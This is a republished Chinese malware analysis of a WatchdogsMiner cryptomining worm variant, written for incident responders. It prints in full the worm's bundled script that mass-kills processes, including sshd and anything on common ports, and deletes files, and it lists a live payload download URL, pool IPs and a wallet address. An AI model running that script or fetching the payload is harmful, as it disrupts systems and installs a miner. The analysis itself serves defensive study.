

WachtdogsMiner挖矿蠕虫最新变种分析
source link: https://www.tuicool.com/articles/vYZB3uE
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载
2019年5月27日清晨,捕获到一起挖矿木马行为,通过分析,定性为针对“门罗币”的WatchdogsMiner变种挖矿木马入侵事件。
该木马通过SSH爆破,使用Linux系统的Shell脚本编写下载器,通过wget和curl命令下载“游戏组件dota2.tar.gz,实则是挖矿脚本组件,里面包含了强大的查杀其他挖矿木马的脚本,还有针对不同系统对应的挖矿木马。本文对该挖矿木马核心代码进行分析,便于从事安全事件响应的同行碰到相同类型的挖矿木马可以快速排查,定性安全威胁事件。
挖矿木马攻击流程
0×00 样本介绍
样本基本信息:
样本 MD5 内容 x15cache 1b9254279109722a034b7026cd8eb0e7 x15cache脚本下载挖矿程序包 anacron ef6aa42aa0fa26fb6ba8c0af02737585 32位挖矿程序 cron cd6d5fc0fbf8616a1387651432ee7b99 64位挖矿程序0×01 详细分析
x15cache脚本的脚本内容如下所示,主要作用是下载dota2.tar.gz包,并且执行挖矿程序。
dota2.tar.gz包含了如下文件:
a为脚本文件,作用是删除crontab文件,生成upd并赋权,upd去执行run,run去执行真正的挖矿程序。
run脚本文件为启动xmr挖矿病毒的脚本,首先执行stop结束脚本,ARCH获取系统版本,根据版本执行对应的挖矿程序。
stop脚本文件为挖矿结束脚本。
对anacron和cron文件进行分析,它们分别是32位和64位的挖矿程序,下面以32位的WatchdogMiner变种样本为例分析,通过代码分析该挖矿程序是基于XMRig 2.14.1开源项目开发的。
当参数为1时,挖矿算法支持为cryptonight,支持nicehash.com。
挖矿时挖矿配置如下,设置算法为cryptonight,并且启用nicehash.com支持。
当参数为2时,矿机程序采用开源挖矿软件XMRig 2.14.1版本编译。
流量解析提取如下:
挖矿程序使用的IP地址如下:
5.255.86.129:80挖矿行为
107.191.99.221:80挖矿行为
workforce.ignorelist.com挖矿行为
XMR钱包地址:
45UcbvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7 bDebx51LCuDQYyhFgVbUMhc4qY14CQ
dota2.tar.gz包含init0脚本,用于Linux环境下查杀加密货币矿工的脚本,清理CPU占用高的进程,清理各类挖矿矿池进程,还清理其他恶意程序,如”kworkerds”,”ddgs”等挖矿程序,脚本内容如下。
#!/bin/sh ##########################################################################################\ ### A script for killing cryptocurrecncy miners in a Linux enviornment ### Provided with zero liability (!) ### ### Some of the malware used as sources for this tool: ### https://pastebin.com/pxc1sXYZ ### https://pastebin.com/jRerGP1u ### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4 ##########################################################################################\ # Killing processes by name, path, arguments and CPU utilization processes(){ killme() { killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null & } killa() { what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null& } killa 34e2fg killme # Killing big CPU VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU) for word in $VAR do CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}') if [ $CPUUSAGE -gt 60 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi; done killall \.Historys killall \.sshd killall neptune killall xm64 killall xm32 killall xmrig killall \.xmrig killall suppoieup pkill -f sourplum pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9 ps auxf|grep named| awk '{print $2}'|xargs kill -9 ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9 ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9 ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9 ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9 ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9 ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9 ps ax|grep -o './[0-9]* -c'| xargs pkill -f pkill -f /usr/bin/.sshd pkill -f acpid pkill -f AnXqV.yam pkill -f apaceha pkill -f askdljlqw pkill -f bashe pkill -f bashf pkill -f bashg pkill -f bashh pkill -f bashx pkill -f BI5zj pkill -f biosetjenkins pkill -f bonn.sh pkill -f bonns pkill -f conn.sh pkill -f conns pkill -f cryptonight pkill -f crypto-pool pkill -f ddg.2011 pkill -f deamon pkill -f disk_genius pkill -f donns pkill -f Duck.sh pkill -f gddr pkill -f Guard.sh pkill -f i586 pkill -f icb5o pkill -f ir29xc1 pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbalanc1 pkill -f irqbalance pkill -f irqbnc1 pkill -f JnKihGjn pkill -f jweri pkill -f kw.sh pkill -f kworker34 pkill -f kxjd pkill -f libapache pkill -f Loopback pkill -f lx26 pkill -f mgwsl pkill -f minerd pkill -f minergate pkill -f minexmr pkill -f mixnerdx pkill -f mstxmr pkill -f nanoWatch pkill -f nopxi pkill -f NXLAi pkill -f performedl pkill -f polkitd pkill -f pro.sh pkill -f pythno pkill -f qW3xT.2 pkill -f sourplum pkill -f stratum pkill -f sustes pkill -f wnTKYg pkill -f XbashY pkill -f XJnRj pkill -f xmrig pkill -f xmrigDaemon pkill -f xmrigMiner pkill -f ysaydh pkill -f zigw # crond ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid while read crondpid do if [ $(echo $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ] then kill $crondpid rm -rf /var/tmp/v3 fi done < /tmp/crondpid rm /tmp/crondpid -f # sshd ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid while read sshdpid do if [ $(echo $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ] then kill $sshdpid fi done < /tmp/ssdpid rm -f /tmp/ssdpid # syslog ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid while read syslogpid do if [ $(echo $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ] then kill $syslogpid fi done < /tmp/syslogspid rm /tmp/syslogspid -f ps x | grep 'b 22'| awk '{print $1,$5}' > .procs cat .procs | while read line do pid=`echo $line | awk '{print $1;}'` name=`echo $line | awk '{print $2;}'` #echo $pid $name if [ $(echo $name | wc -c) -lt "13" ] then echo "Found" $pid $name kill -9 $pid fi done #################################################### ps x | grep 'd 22'| awk '{print $1,$5}' > .procs cat .procs | while read line do pid=`echo $line | awk '{print $1;}'` name=`echo $line | awk '{print $2;}'` #echo $pid $name if [ $(echo $name | wc -c) -lt "13" ] then echo "Found" $pid $name kill -9 $pid fi done } # Removing miners by known path IOC files(){ rm /tmp/.cron rm /tmp/.main rm /tmp/.yam* -rf rm -f /tmp/irq rm -f /tmp/irq.sh rm -f /tmp/irqbalanc1 rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*httpd.conf rm -rf /tmp/*httpd.conf* rm -rf /tmp/*index_bak* rm -rf /tmp/.systemd-private-* rm -rf /tmp/.xm* rm -rf /tmp/a7b104c270 rm -rf /tmp/conn rm -rf /tmp/conns rm -rf /tmp/httpd.conf rm -rf /tmp/java* rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache rm -rf /tmp/xm* rm -rf /var/tmp/java* } # Killing and blocking miners by network related IOC network(){ # Kill by known ports/IPs netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 } files processes network echo "DONE"
0×03 相关 IOC
MD5
1b9254279109722a034b7026cd8eb0e7 ef6aa42aa0fa26fb6ba8c0af02737585 cd6d5fc0fbf8616a1387651432ee7b99
IP
118.25.7.83:36366
69.28.55.86:443
185.71.65.238
140.82.52.87
URL
http://54.37.70.249/dota2.tar.gz
http://54.37.70.249/fiatlux-1.0.0.apk
0×04 其他平台检测结果
Virustotal检测结果:
微步分析结果:
Recommend
-
79
Bondat蠕虫再度来袭!控制PC构建挖矿僵尸网络
-
11
黑狐木马最新变种——“肥兔”详细分析 腾讯电脑管家
-
67
春节刚过,黑产团队就开始了新的一年的工作。21日晚上九点多,正准备回家享受快乐时光呢,钉钉就响了,客户应急来了,8台机器感染挖矿木马病毒。根据今天看的默安科技发的文章说是”Linux DDG变种挖矿病毒”,挖矿病毒这两年也处了不少了,...
-
79
概述 近日发现新版本的WatchBog:自2018年底开始运行的加密货币挖掘僵尸网络。自6月初开始已有超过4,500台Linux机器遭到破坏。在新的Linux漏洞利用中,该版本WatchBog实现了BlueKeep RDP协议漏洞扫描模块,这表明WatchBog正在...
-
48
研究人员发现了名为Graboid的新型加密劫持蠕虫,该蠕虫已传播到2,000多个不安全的Docker主机。 曾经发生过以蠕虫病毒形式传播加密劫持恶意软件的事件,但这是第一次看到使用Docker Engine中的容器传播的加密劫持蠕虫。由于大多数...
-
35
概述 周末在家正在独自看电影的我,突然收到朋友发来的一张图片,就是下图展示的这个 知名学习网站有打折!还终身会员!在...
-
7
蠕虫挖矿一例,无码 今天凌晨,我们的蜜网系统跳出了个有趣的字符串: [email protected] ProtonMail!前段时间我们的分享(
-
9
Sodinokibi(REvil)勒索病毒最新变种攻击Linux平台 阅读量 283829...
-
3
网络蠕虫黑客在最新的网络间谍攻击中使用修改后的RAT 作者:铸盾安全 2022-09-20 00:14:49 在绰号Webworm下跟踪的威胁参与者正在利用现有的基于 Windows 的远程访问木马的定制变体在雷达下飞行,其中一些据说处于...
-
9
俄罗斯网络间谍组织 LitterDrifter USB 蠕虫分析 2023年11月20日 2023年11月20日...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK